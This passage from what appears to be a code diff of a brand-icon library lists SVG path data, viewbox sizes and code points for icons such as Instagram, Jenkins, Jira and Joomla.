56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z" ], + ideal: [ 576, 512, [], "e013", "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z" ], + imdb: [ 448, 512, [], "f2d8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z" ], + innosoft: [ 448, 512, [], "e080", "M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z" ], + instagram: [ 448, 512, [], "f16d", "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z" ], + "instagram-square": [ 448, 512, [], "e055", "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z" ], + instalod: [ 512, 512, [], "e081", "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z" ], + intercom: [ 448, 512, [], "f7af", "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z" ], + "internet-explorer": [ 512, 512, [], "f26b", "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z" ], + invision: [ 448, 512, [], "f7b0", "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z" ], + ioxhost: [ 640, 512, [], "f208", "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z" ], + "itch-io": [ 512, 512, [], "f83a", "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z" ], + itunes: [ 448, 512, [], "f3b4", "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z" ], + "itunes-note": [ 384, 512, [], "f3b5", "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z" ], + java: [ 384, 512, [], "f4e4", "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z" ], + "jedi-order": [ 448, 512, [], "f50e", "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z" ], + jenkins: [ 512, 512, [], "f3b6", "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z" ], + jira: [ 496, 512, [], "f7b1", "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z" ], + joget: [ 496, 512, [], "f3b7", "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z" ], + joomla: [ 448, 512, [], "f1aa", "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z" ], + js: [ 448, 512, [], "f3b8", "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 